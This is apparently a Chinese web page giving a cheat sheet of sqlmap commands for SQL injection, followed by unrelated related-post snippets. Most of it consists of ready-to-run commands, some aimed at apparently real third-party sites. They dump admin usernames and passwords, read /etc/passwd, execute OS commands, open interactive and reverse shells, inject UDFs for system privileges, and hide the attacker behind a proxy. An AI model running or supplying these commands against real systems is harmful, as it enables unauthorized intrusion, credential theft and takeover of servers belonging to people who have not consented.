1. 程式人生 > >sqlmap常用指令和引數

sqlmap常用指令和引數


/*
-u型別為指令 --tables為引數
當使用的程式碼為巢狀型(例如先猜表名 後猜指定欄位時) 需要鍵入上一次用到的指令(如果上一次為引數要轉換)
   引數轉換為指令 : --tables >> -T
例如 要猜欄位時 需要鍵入指定表段                                                     */

檢查注入點
    sqlmap.py -u "http://www.scshlx.com/TeachView.asp?id=21"
列資料庫資訊
    sqlmap -u  "http://www.scshlx.com/TeachView.asp?id=21" --dbs
指定庫名列出所有表 //最大搜索執行緒為10
    sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33" --tables
指定庫名錶名列出所有欄位
    sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33"  -T "雙引號下為指定表名admin" --columns
指定庫名錶名欄位名dump出指定欄位的內容
    sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dump -T "admin" -C "username,password"
查詢表名下所有欄位
     sqlmap.py -u "http://www.hainanez.com/TeachView.asp?id=33" --tables --columns
Mysql注入(有多個庫 必須找到有管理員的資料庫)

    --is-dba            當前使用者許可權
    --dbs            所有資料庫
    --current-db        網站當前資料庫
    --users            所有資料庫使用者
    --current-user        當前資料庫使用者
    --tables-D"當前資料庫名字"  查表名、
    -T"指定的表名"-D"當前資料庫名字"--columns 查欄位
Cookie注入(遇到防注入)
    sqlmap.py -u "http://www.scshlx.com/TeachView.asp" --cookie"id=21"--level 2   
    列表名等 在上方程式碼後面加--tables等;  
 eg:sqlmap.py -u "http://www.hexuan.com/shownews.asp" --cookie "id=1749" --level 2 --dump -T "admin" -C "username"
有幾個引數可能會用到,直接加在最後面就可以了,更多詳細引數見官方文件:
    –cookie=COOKIE                                       在需要登入的地方,需要登入後的cookie
    –proxy=”http://127.0.0.1:8087″                  使用HTTP代理隱藏自己的身份,比如使用goagent等
    –sql-query=QUERY                                     執行一個sql語句,不一定支援
sqlmap -u “http://url/news?id=1″ --dbms “Mysql” –users # dbms 指定數 據庫型別
sqlmap -u “http://url/news?id=1″ -- users 列資料庫使用者
sqlmap -u “http://url/news?id=1″ -- dbs   列資料庫
sqlmap -u “http://url/news?id=1″ -- passwords 資料庫使用者密碼
sqlmap -u “http://url/news?id=1″ -- passwords-U root -v 0 #列出指定使用者 資料庫密碼
sqlmap  -u  “http://url/news?id=1″   -- dump  -C  “password,user,id”  -T “tablename”-D “db_name”
–start 1 –stop 20 #列出指定欄位,列出20 條
sqlmap -u “http://url/news?id=1″ -- dump-all -v 0 #列出所有資料庫所有表
sqlmap -u “http://url/news?id=1″ -- privileges #檢視許可權
sqlmap -u “http://url/news?id=1″ -- privileges -U root #檢視指定使用者許可權sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是資料庫管理員sqlmap -u “http://url/news?id=1″ –roles #列舉資料庫使用者角色
sqlmap -u “http://url/news?id=1″ -- udf-inject #匯入使用者自定義函式(獲取 系統許可權!)
sqlmap -u “http://url/news?id=1″ -- dump-all –exclude-sysdbs -v 0 #列 出當前庫所有表
sqlmap -u “http://url/news?id=1″ -- union-cols #union 查詢表記錄
sqlmap -u “http://url/news?id=1″ -- cookie “COOKIE_VALUE”#cookie注入
sqlmap -u “http://url/news?id=1″ -- b #獲取banner資訊
sqlmap -u “http://url/news?id=1″ -- data “id=3″#post注入
sqlmap -u “http://url/news?id=1″ - v 1 -f #指紋判別資料庫型別
sqlmap -u “http://url/news?id=1″ -- proxy“http://127.0.0.1:8118” #代理注 入
sqlmap -u “http://url/news?id=1″ -- string”STRING_ON_TRUE_PAGE”# 指 定關鍵詞
sqlmap -u “http://url/news?id=1″ -- sql-shell #執行指定sql命令
sqlmap -u “http://url/news?id=1″ -- file /etc/passwd
sqlmap -u “http://url/news?id=1″ -- os-cmd=whoami #執行系統命令
sqlmap -u “http://url/news?id=1″ -- os-shell #系統互動shell sqlmap -u “http://url/news?id=1″ –os-pwn #反彈shell
sqlmap -u “http://url/news?id=1″ -- reg-read #讀取win系統登錄檔
sqlmap -u “http://url/news?id=1″ -- dbs-o “sqlmap.log”#儲存進度
sqlmap -u “http://url/news?id=1″ -- dbs -o “sqlmap.log” –resume #恢復 已儲存進度

相關推薦

sqlmap常用指令引數

/* -u型別為指令 --tables為引數 當使用的程式碼為巢狀型(例如先猜表名 後猜指定欄位時) 需要鍵入上一次用到的指令(如果上一次為引數要轉換)    引數轉換為指令 : --tables >> -T 例如 要猜欄位時 需要鍵入指定表段       

Linux常用指令系統管理命令總結

刪除 系統管 pin echo 隱藏 狀態 網絡連接 ifconfig 管理命令 Linux常用指令: ls 顯示文件或目錄  ls -l 列出文件詳細信息  ls -a 列出當前目錄下所有文件或目錄,包括隱藏的 ls -al 顯示詳細文件信息,包括隱藏的文件    mkd

Nvidia-smi簡介及常用指令及其引數說明

【時間】2018.10.10 【題目】Nvidia-smi簡介及常用指令及其引數說明 目錄 一、什麼是Nvidia-smi 二、常用的Nvidia-smi指令 三、各種指令引數總結 一、什麼是Nvidia-smi nvidia-smi是nvidia 的系統管理介面 ,

maven的常用指令 eclipse下的m2e外掛

maven 配置環境變數 maven可以通過dos視窗進行命令操作,安裝maven後,需要配置環境變數 注意: maven的使用需要本地java環境的支援,所以,必須要安裝好java並配置好java的環境變數 maven配置環境變數 方法一: 設定path的值為

git常用指令ignore的配置方法

轉載至轉載請標明:http://blog.csdn.net/zxyudia/article/details/67633321 要很好的掌握Git,先要明白四個名詞概念: Workspace(工作區):新新增的,和修改的未add操作的。 Stage(暫存區):add操作過後,會進入暫

Redis系列七、redis全域性常用指令redis相關介紹

redis全域性常用指令和redis相關介紹 一、全域性命令 以下指令對5中資料型別都有效,統計檢視型別的會把5種資料型別全部統計進去,操作型別指令對5中資料型別都有效。 檢視所有鍵:keys * set school dongnao set

gcc 常用命令引數

.h           //C/C++標頭檔案 .c           //C的原始檔 .cc         //C++ 的原始檔 .cpp      //C++ 的原始檔 .cxx       //C++ 的原始檔 .i           //gcc 編譯的過程檔

Sqlmap常用指令

sqlmap -u “http://url/news?id=1″ –current-user #獲取當前使用者名稱稱sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #獲取當前數 據庫名稱 sqlmap -u “ht

Hi3516A開發--常用指令根檔案目錄詳解

一、常用命令 #arch                                              #顯示機器的處理器架構 # uname -a                                    # 檢視核心/作業系統/CPU資訊 # h

Docker Windows下安裝的一些注意以及常用命令引數

Windows下的安裝注意: 選擇完整安裝,其中MSYS-git UNIX tools是在Windows下執行Linux命令的工具 選擇Reboot Windows at end of ins

百度搜索高階搜尋指令引數

最近聽了一節關於搜尋網路資源的課程,感覺打開了一扇新世界的大門,第一次瞭解到了關於百度搜索的一些騷操作(可能是敝人太過孤陋寡聞,讓各位見笑了~),在這裡記錄一下一些常用的搜尋指令和引數,對這方面沒有過了解的小夥伴可以漲波姿勢。 intitle 搜尋範

Ansible指令常用模塊使用

記錄 打印 roo PE opp man usr 使用 描述 這裏文章記錄一下ansible的指令選項和常用的模塊使用 ansible指令選項 -m:要執行的模塊,默認為command -a:模塊的參數 -u:ssh連接的用戶名,默認用root,ansible.cfg中可

Linux基礎(03)、常用基礎指令操作

編輯模式 開發 .so 虛擬 64位 use roo 分頁 刪除文件   目錄   一、什麽是Linux 二、常用基礎指令   2.1、vi編輯   2.2、Linux文件類型   2.3、常用指令:增、刪、改、查、其他 三、Linux的目錄和權限   3.1、目錄   3

MongoDB服務啟動停止以及常用的啟動引數

一、Mongodb啟動命令引數說明    Mongodb的啟動命令可以使用  mongod –help檢視所有選項    mongod的主要引數有:   1.基本引數 --quiet #

Ubuntu的基本用法:常用指令,控制流程重定向

常用指令 接下來我將舉例闡述以下常用的基本指令: /!\ 記住要正確的按照下面寫的輸入,後面還得帶上回車鍵! 查詢檔案列表 [email protected]:~ $ ls file1.txt file2.pdf file3.mp3 file1.pdf another_fi

git的常用指令(二) git add -A 、git add . git add -u

git add . :他會監控工作區的狀態樹,使用它會把工作時的所有變化提交到暫存區,包括檔案內容修改(modified)以及新檔案(new),但不包括被刪除的檔案。 git add -u :他僅監控已經被add的檔案(即tracked file),他會將被修改的檔案提交到暫存區。add -u 不會提交新檔

一文搞定 Git 相關概念常用指令

我幾乎每天都使用 Git,但仍然無法記住很多命令。 通常,只需要記住下圖中的 6 個命令就足以供日常使用。但是,為了確保使用地很順滑,其實你應該記住 60 到 100 個命令。 Git 相關術語 Git 中不可避免會遇到下面幾個術語,不搞清楚它們,後面只會更懵逼。

大資料(二十七):Sqoop常用命令公用引數

一、常用命令列舉 命令 類 說明 import ImportTool 將資料匯入到叢集 export ExportTool

Vue【第3章】:Vue常用指令二:事件方法

內容概要: 常用指令二   一、常用指令二 1. 事件執行   v-on  或  @ 說明:v-on 指令監聽 DOM 事件,並在觸發時執行一些 JavaScript 程式碼。 示例:直接在指令中寫js程式碼 <template>

django之常用欄位引數

一,ORM欄位 AutoField:int自增列,必須填入引數 primary_key=True。當model中如果沒有自增列,則自動會建立一個列名為id的列。 IntegerField:一個整數型別,範圍在 -2147483648 to 2147483647。